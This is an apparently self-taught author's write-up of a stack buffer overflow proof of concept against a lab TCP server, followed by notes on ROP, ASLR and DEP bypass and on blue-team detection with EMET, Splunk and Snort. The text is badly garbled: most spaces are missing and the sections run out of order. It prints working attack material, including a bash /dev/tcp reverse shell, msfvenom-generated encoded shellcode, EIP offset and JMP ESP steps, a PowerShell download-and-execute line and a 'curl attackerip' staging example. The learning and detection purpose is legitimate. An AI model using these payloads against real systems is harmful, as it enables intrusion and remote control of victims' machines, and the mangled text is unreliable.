somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

